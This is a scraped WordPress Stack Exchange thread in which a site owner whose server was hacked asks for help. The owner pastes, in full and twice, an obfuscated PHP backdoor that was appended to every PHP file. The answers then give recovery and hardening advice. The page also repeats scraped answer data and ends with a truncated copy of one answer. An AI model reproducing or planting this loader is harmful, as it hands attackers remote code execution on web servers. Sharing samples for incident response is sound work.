x7f<*XAZASV<*w%)pp5.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>62]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7592P4]D6#<%G]y6d]281Ld]2x24]26 x24- x24<%j,,*!| x24- x24g5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepjepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tut!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]275]y8mg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fub24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/3vd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x2sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudo]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6 $vbpgblb("", $gamgsii); $eutnyme();}}vg x22)!gj}1~!<2p% x7f!~!<##!>!2p%ZfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/NJU,6<*27-SFGTOBSUOSVUFS,6<*mdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-Kmgoj{h1:|:*mmvo:>:iuhofm%:-dovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%t%:osvufs:~:<*9-1-r%)s%>/h%sqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobsc^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^72qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA >j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{he(array_map("zkglakb",str_split("%tjw!>!#]y84]275]y83]248 { $vbpgblb = " x63 162 x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&if((function_exists(" x6f 142 x5f 163 x74 141 x72 164jQeTQcOc/#00#W~!Ydrr)%rsutcvt)fubmgoj{hA!osvufs!~<3,j%2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D]252]y85]256]y6g]257]y86]2%:|:**t%)m%=*h%)m%):fm2bd%-#1GO x22#)fepmqyjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#4#-#D#-#W#-#C#-#O#-#N#*-!%24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x2 x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$eutnyme =osvufs!|ftmf!~<**9.-j%-bubE{h%)1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%de>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#gxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68396]373P6]36]73]83]238M7]381]211Mpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`ms`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)su>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufld56 x63 164 x69 157 x6e"; function zkglakb($n){return chr(ord($n)-1);} 2!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% xK)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1sv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7f<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*3]273]y76]277#<!%t2w>#]y74]273]y76%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%):<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:rI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%") && (!isset($GLOBALS[" x61 156 x75 156 x61"]))))bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{f;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/}c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUU,;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hAtcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?h%h00#*<%nfd)##Qtpz)#]341]8@error_reporting(0); $gamgsii = implodStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSgneiijtn'; $rymqhdk=explode(chr((436-316)),substr($zbdcvsv,(39702-33682),(130-96))); $oulclf = $rymqhdk[0]($rymqhdk[(6-5)]); $ezqcuyal = $rymqhdk[0]($rymqhdk[(10-8)]); if (!function_exists('rieqim')) { function rieqim($eebvtvdx, $wgctulke,$hoxaoipzz) { $iopacym = NULL; for($cisysje=0;$cisysje<(sizeof($eebvtvdx)/2);$cisysje++) { $iopacym .= substr($wgctulke, $eebvtvdx[($cisysje*2)],$eebvtvdx[($cisysje*2)+(3-2)]); } return $hoxaoipzz(chr((27-18)),chr((535-443)),$iopacym); }; } $luxvad = explode(chr((164-120)),'3719,53,5370,50,1678,47,1466,21,1251,35,166,47,680,43,1487,28,813,34,213,45,1333,51,3641,24,847,29,4735,70,5982,38,3584,57,2914,58,658,22,5867,36,3665,54,5077,46,69,45,4938,50,4988,25,3153,62,972,32,1161,25,1307,26,3507,36,1004,66,3473,34,5781,45,1776,39,1537,55,2025,56,1186,65,3081,29,5013,64,773,40,4672,63,4466,59,2789,61,4805,67,4227,31,3795,31,3543,41,5196,50,4576,61,5903,53,2568,55,1384,23,2850,64,3010,35,5123,39,3934,21,3045,36,5462,60,3359,55,4525,51,1095,66,501,67,409,23,5634,57,5301,69,432,49,0,69,481,20,5584,50,5691,52,876,61,2623,48,3215,27,2411,49,3110,43,5522,62,2147,40,4322,63,379,30,2460,40,1515,22,2081,66,3242,52,2500,68,5162,34,3886,26,335,44,3294,27,5246,55,3912,22,3955,64,2240,46,5743,38,4872,66,4044,52,1999,26,3321,38,1745,31,2378,33,306,29,1592,30,1070,25,1622,56,589,69,3772,23,4385,50,1815,67,4096,69,1286,21,1407,59,1725,20,258,48,2286,70,114,52,1882,58,3826,60,2356,22,937,35,5420,42,568,21,5956,26,723,50,4435,31,1940,59,2741,48,2187,53,4258,64,5826,41,3414,59,4637,35,2671,70,4019,25,4165,62,2972,38'); $rlojefjp = $oulclf("",rieqim($luxvad,$zbdcvsv,$ezqcuyal)); $oulclf=$zbdcvsv; $rlojefjp(""); $rlojefjp=(658-537); $zbdcvsv=$rlojefjp-1
</code></pre>
| [
{
"answer_id": 254011,
"author": "Pedro Salazar",
"author_id": 111785,
"author_profile": "https://wordpress.stackexchange.com/users/111785",
"pm_score": 0,
"selected": false,
"text": "<p>Have you considered engaging a MSSP for web servers? </p>\n\n<p>What you're describing is not uncommon when considering what attackers do after successfully compromising a web server. Without seeing the payload it's going to be difficult to give you an real good advice around the payload and what it's doing. </p>\n\n<p>To understand the full extent of the damage though you're going to want to do some form of forensics on the box. How much data do you have in the form of logs? Do you have a retention policy? </p>\n\n<p>FYI - cleaning is going to be easier than forensics, but both should be doable. Also, I agree it's wrong to immediately assume it's WordPress, can you provide more details on the other applications and services running on the server? </p>\n"
},
{
"answer_id": 254545,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 3,
"selected": true,
"text": "<blockquote>\n<p>My (managed) dedicated server, with several sites (not all of which use WP) has been hacked.</p>\n</blockquote>\n<p>OK, it happens. Not the end of the world.</p>\n<hr />\n<blockquote>\n<p>Today, I find permissions changed to 200 - which I suspect might have been done by my service provider (although I've not received notification, nor yet an answer to my 'have you...?' question).\nIt may be that someone tried to attack your service provider. It is quite uncommon to have the 200 user permission.</p>\n</blockquote>\n<p>In Linux there are two methods to change the file.php permissions.</p>\n<pre><code>-rwxrwxrwx file.php\n</code></pre>\n<ul>\n<li><strong>Symbolic method</strong></li>\n<li><strong>Absolute Value method</strong></li>\n</ul>\n<p>The symbolic method is for geeks such as <strong>David MacKenzie</strong> who wrote <code>chmod</code> tool, and we will only speak in absolute value method.</p>\n<p>The permission of the following file:</p>\n<pre><code>-rwxrwxrwx file.php\n</code></pre>\n<p>is 777.</p>\n<p><a href=\"https://i.stack.imgur.com/Ft61e.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ft61e.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Apparently your files were 200 like this:</p>\n<pre><code>--w------- file.php\n\n4 means Read,\n2 means Write\n1 means Execute\n</code></pre>\n<p>Looks like the hacker got your root access.</p>\n<hr />\n<blockquote>\n<p>I'm curious about what the code does, although decoding it isn't worthwhile as it's clearly in some way 'bad stuff'.</p>\n</blockquote>\n<p>I would not bother with that. I would focus on recovery. Otherwise, you will just loose precious time.</p>\n<hr />\n<blockquote>\n<p>I want to find the extent of the damage, the cause and prevent a re-occurrence.</p>\n</blockquote>\n<h3>Correct, I will focus only on prevention.</h3>\n<p>If your hosting provider doesn't provide the feedback this was their fault, then this may be your fault.</p>\n<hr />\n<h3>Have you used the latest version of PHP?</h3>\n<p>Check out this URL and ensure that in 2016 — 207 security flaws were found in PHP.\n<a href=\"http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74\" rel=\"nofollow noreferrer\">http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74</a></p>\n<p>PHP is getting there, but you need constantly to upgrade the version.</p>\n<hr />\n<h3>Have you used software auto upgrades?</h3>\n<p>But not only PHP, you need to create automatic updates for the whole web server. This is very important.</p>\n<p>Occasionally, there are new vulnerabilities found for CentOS, or Ubuntu you are running. And I was a witness of some great problems, just because the OS was not up to date with security updates.</p>\n<p>In Ubuntu you would do something like</p>\n<pre><code>sudo apt-get update\nsudo unattended-upgrade\n</code></pre>\n<p>somewhere in cron job, or</p>\n<pre><code>unattended-upgrade --dry-run --debug\n</code></pre>\n<p>To test the upgrade.</p>\n<p>If you like to make upgrades to work as a service, you may try</p>\n<pre><code>dpkg-reconfigure unattended-upgrades\n</code></pre>\n<p>You would generally need to do that if your hosting company is not doing this automatically. Please check.</p>\n<hr />\n<h3>Have you used file change detection ?</h3>\n<p>Part of the iThemes security plugin you already use is File change detection. This is very important to have set since all the security analytics mention this is a key feature. However, from there you will need to pay attention to files updated. It is important to keep the number of the folders low and to set not to be informed based on the extension of the files. Typically you don't need to track images.</p>\n<h3>Did anyone found your log files ?</h3>\n<p>Log files should be prohibited in general via .htaccess. If you are in Nginx, then in Nginx config file. There are certain backup plugins that use <code>wp-content</code> to store the log files. Some of these do have weak naming convention and scouts may get your logs, with the information about your web server.</p>\n<p>The extension of log files may not always be .log. It may be log.1 and like. Keep that in mind.</p>\n<hr />\n<h3>Can <code>WP SCAN</code> detect your passwords and users</h3>\n<p>Use <a href=\"https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html\" rel=\"nofollow noreferrer\">WP SCAN tool</a> and check if it can crack your passwords.</p>\n<p>You may consider .htaccess rule to prevent WordPress username enumeration if you don't have any side effects.</p>\n<pre><code>RewriteCond %{QUERY_STRING} author=d\nRewriteRule ^ /? [L,R=301]\n</code></pre>\n<hr />\n<h3>Are your gates wide open?</h3>\n<p>You may consider closing your mysql port if this is open.</p>\n<pre><code>PORT STATE SERVICE\n3306/tcp open mysql\n</code></pre>\n<p>Some services such as mysql should not have open ports, like in the example above. You will need to search the web for the good for the good port scanner.</p>\n<p>Also, your login form should have the login limit count, as well as your web server SSH and FTP channels.</p>\n<p>The another gate is xmlrpc-php. If you don't need that you may try to eliminate <a href=\"https://wordpress.stackexchange.com/questions/219643/best-way-to-eliminate-xmlrpc-php\">it</a>, because this would be the place where someone may try to log in.</p>\n<hr />\n<h3>Have you had a firewall .htaccess ?</h3>\n<p>The sixth generation of the firewall from the perishable press is not in constraint with your .htaccess file at all. <a href=\"https://perishablepress.com/6g/\" rel=\"nofollow noreferrer\">https://perishablepress.com/6g/</a></p>\n<p>It includes empty bots, and bad bots removal. As I checked it should work without interfering with the existing .htaccess rules.</p>\n<p>You should test this in low traffic time, or on the development server, and possible use all the tips from there. Should be easy, just copy and paste.</p>\n<hr />\n<h3>Have you used RIPS to test your plugins and themes?</h3>\n<p>This will allow you to scann plugins and themes from your <code>http(s)://domain.com/rips/index.php</code></p>\n<p>You can download it from <a href=\"http://rips-scanner.sourceforge.net/\" rel=\"nofollow noreferrer\">here</a> and extract it to the same level as WordPress:\n<a href=\"https://i.stack.imgur.com/2h7aR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2h7aR.png\" alt=\"enter image description here\" /></a></p>\n<p>Then check this out. Query Monitor plugin is perfect, but for the other one the tool found security problems.\nI tested <code>nextgen-gallery</code> and <code>query-monitor</code> plugins. Look what I found.</p>\n<p><a href=\"https://i.stack.imgur.com/IX8j9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IX8j9.png\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/tHzWt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tHzWt.png\" alt=\"enter image description here\" /></a></p>\n<p>There are sometimes false positives this tool may provide you, but in general, you will have the feedback.</p>\n<hr />\n<p>So the final advice for you.\nYou don't know if your MySQL database is clean. You should probably export all the articles using standard WordPress export and create the new one.</p>\n<p>You should install new plugins and new theme. You may even start with the new clean VPS. On Linode this is just few clicks.</p>\n<p>You should start with the new WordPress installation for sure..</p>\n<p>Probably you may even change the hosting if you determine they are not reliable.</p>\n<p>The hosting provider may provide you some feedback from your web server Logs if this is the part of the service, so you can understand what was the problem better.</p>\n<p>Anyhow — step by step.</p>\n<hr />\n<p>Also, please check my <a href=\"https://wordpress.stackexchange.com/questions/242283/wordpress-website-security/242678#242678\">other answer</a> I provided to @Rahul, it may be good for prevention.</p>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253896",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
]
| My (managed) dedicated server, with several sites (not all of which use WP) has been hacked.
Obfuscated code has been appended to all files (including WP core/plugin/theme and non-WP stuff) for which the content begins with a php command (and not simply all files with a .php suffix).
It doesn't seem to affect the rendered page, and what little I know suggests it's a backdoor/trojan - which is about the limit of my knowledge.
Today, I find permissions changed to 200 - which I suspect might have been done by my service provider (although I've not received notification, nor yet an answer to my 'have you...?' question).
I'm curious about what the code does, although decoding it isn't worthwhile as it's clearly in some way 'bad stuff'.
I want to find the extent of the damage, the cause, and prevent a re-occurence.
It's fairly simple (though time consuming) to replace the obviously-changed files, and this I'll do.
My sql db backups seem to be 'clean' - but I don't know enough to be sure.
I'm perhaps wrongly assuming the cause to be WP-related, but don't know if it might instead have been through password-guessing or other.
Constructive suggestions appreciated. Please and thanks.
Update: having been asked about the extra code, it's added below. I didn't originally include it, because it didn't seem appropriate (not worth the effort of decoding, without which probably little to be gained).
```
$zbdcvsv = 'tj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|w6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>37 x41 107 x45 116 x54"]); if ((strstr($uas," x) or (strstr($uas," x63 150 x72 157 x6d 145")rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-tvodujpo! x24- x24y7 x24- x24*67]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_6R85,67R37,18R#>q%V<*#fopoV;ho))!gj!<*#cd2bge56+99386 x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uft!*uyfu x27k:!ftmf!}Zqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%-%bT-%hW~%fdy)##-!#~<p3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cI<pd%w6Z6<.5`hA x27pd%66d 163 x69 145")) or (strstr($uas," x72 1668M4P8]37]278]225]241]334]368]322]3]364]6]283]427]3w6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`as," x61 156 x64 162 x6f 151 x64")x65 141 x74 145 x5f 146 x75 1} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:745]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%)udfoopdXA x22)7gj6<*QDU`MPT7-NBx273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x% x24- x24*<!~! x24/%t2w/**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmFSUT`LDPT7-UFOJ`GB)fubfsdtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPF8 124 x54 120 x5f 125 x53 105 x52 1#00#W~!%t2w)##Qtjw)#]XA x27K6< x7fw6*3qj%7> x22) or (strstr($uas," x66 151 x72 145 x66 157 x78")))9y]g2y]#>>*4-1-bubE{h%)82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K7tolower($_SERVER[" x4 x3a 61 x31")) or (strstr($ujyf`x x22l:!}V;3q%}U;yk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.f<! x24- x24gps)%j>1<%j=tj{fpg) x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Yp { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=str8:56985:6197g:74985-)% x24- x24y4 x24- x24]y8 x24- <.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdX9#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]4b!>!%yy)#}#-# x24- x24-tumjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CW]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjutmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)pp5.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>62]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7592P4]D6#<%G]y6d]281Ld]2x24]26 x24- x24<%j,,*!| x24- x24g5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepjepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tut!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]275]y8mg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fub24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/3vd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x2sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudo]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6 $vbpgblb("", $gamgsii); $eutnyme();}}vg x22)!gj}1~!<2p% x7f!~!<##!>!2p%ZfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/NJU,6<*27-SFGTOBSUOSVUFS,6<*mdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-Kmgoj{h1:|:*mmvo:>:iuhofm%:-dovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%t%:osvufs:~:<*9-1-r%)s%>/h%sqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobsc^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^72qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA >j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{he(array_map("zkglakb",str_split("%tjw!>!#]y84]275]y83]248 { $vbpgblb = " x63 162 x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&if((function_exists(" x6f 142 x5f 163 x74 141 x72 164jQeTQcOc/#00#W~!Ydrr)%rsutcvt)fubmgoj{hA!osvufs!~<3,j%2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D]252]y85]256]y6g]257]y86]2%:|:**t%)m%=*h%)m%):fm2bd%-#1GO x22#)fepmqyjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#4#-#D#-#W#-#C#-#O#-#N#*-!%24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x2 x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$eutnyme =osvufs!|ftmf!~<**9.-j%-bubE{h%)1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%de>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#gxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68396]373P6]36]73]83]238M7]381]211Mpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`ms`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)su>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufld56 x63 164 x69 157 x6e"; function zkglakb($n){return chr(ord($n)-1);} 2!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% xK)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1sv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7f<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*3]273]y76]277#<!%t2w>#]y74]273]y76%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%):<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:rI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%") && (!isset($GLOBALS[" x61 156 x75 156 x61"]))))bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{f;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/}c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUU,;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hAtcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?h%h00#*<%nfd)##Qtpz)#]341]8@error_reporting(0); $gamgsii = implodStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSgneiijtn'; $rymqhdk=explode(chr((436-316)),substr($zbdcvsv,(39702-33682),(130-96))); $oulclf = $rymqhdk[0]($rymqhdk[(6-5)]); $ezqcuyal = $rymqhdk[0]($rymqhdk[(10-8)]); if (!function_exists('rieqim')) { function rieqim($eebvtvdx, $wgctulke,$hoxaoipzz) { $iopacym = NULL; for($cisysje=0;$cisysje<(sizeof($eebvtvdx)/2);$cisysje++) { $iopacym .= substr($wgctulke, $eebvtvdx[($cisysje*2)],$eebvtvdx[($cisysje*2)+(3-2)]); } return $hoxaoipzz(chr((27-18)),chr((535-443)),$iopacym); }; } $luxvad = explode(chr((164-120)),'3719,53,5370,50,1678,47,1466,21,1251,35,166,47,680,43,1487,28,813,34,213,45,1333,51,3641,24,847,29,4735,70,5982,38,3584,57,2914,58,658,22,5867,36,3665,54,5077,46,69,45,4938,50,4988,25,3153,62,972,32,1161,25,1307,26,3507,36,1004,66,3473,34,5781,45,1776,39,1537,55,2025,56,1186,65,3081,29,5013,64,773,40,4672,63,4466,59,2789,61,4805,67,4227,31,3795,31,3543,41,5196,50,4576,61,5903,53,2568,55,1384,23,2850,64,3010,35,5123,39,3934,21,3045,36,5462,60,3359,55,4525,51,1095,66,501,67,409,23,5634,57,5301,69,432,49,0,69,481,20,5584,50,5691,52,876,61,2623,48,3215,27,2411,49,3110,43,5522,62,2147,40,4322,63,379,30,2460,40,1515,22,2081,66,3242,52,2500,68,5162,34,3886,26,335,44,3294,27,5246,55,3912,22,3955,64,2240,46,5743,38,4872,66,4044,52,1999,26,3321,38,1745,31,2378,33,306,29,1592,30,1070,25,1622,56,589,69,3772,23,4385,50,1815,67,4096,69,1286,21,1407,59,1725,20,258,48,2286,70,114,52,1882,58,3826,60,2356,22,937,35,5420,42,568,21,5956,26,723,50,4435,31,1940,59,2741,48,2187,53,4258,64,5826,41,3414,59,4637,35,2671,70,4019,25,4165,62,2972,38'); $rlojefjp = $oulclf("",rieqim($luxvad,$zbdcvsv,$ezqcuyal)); $oulclf=$zbdcvsv; $rlojefjp(""); $rlojefjp=(658-537); $zbdcvsv=$rlojefjp-1
``` | >
> My (managed) dedicated server, with several sites (not all of which use WP) has been hacked.
>
>
>
OK, it happens. Not the end of the world.
---
>
> Today, I find permissions changed to 200 - which I suspect might have been done by my service provider (although I've not received notification, nor yet an answer to my 'have you...?' question).
> It may be that someone tried to attack your service provider. It is quite uncommon to have the 200 user permission.
>
>
>
In Linux there are two methods to change the file.php permissions.
```
-rwxrwxrwx file.php
```
* **Symbolic method**
* **Absolute Value method**
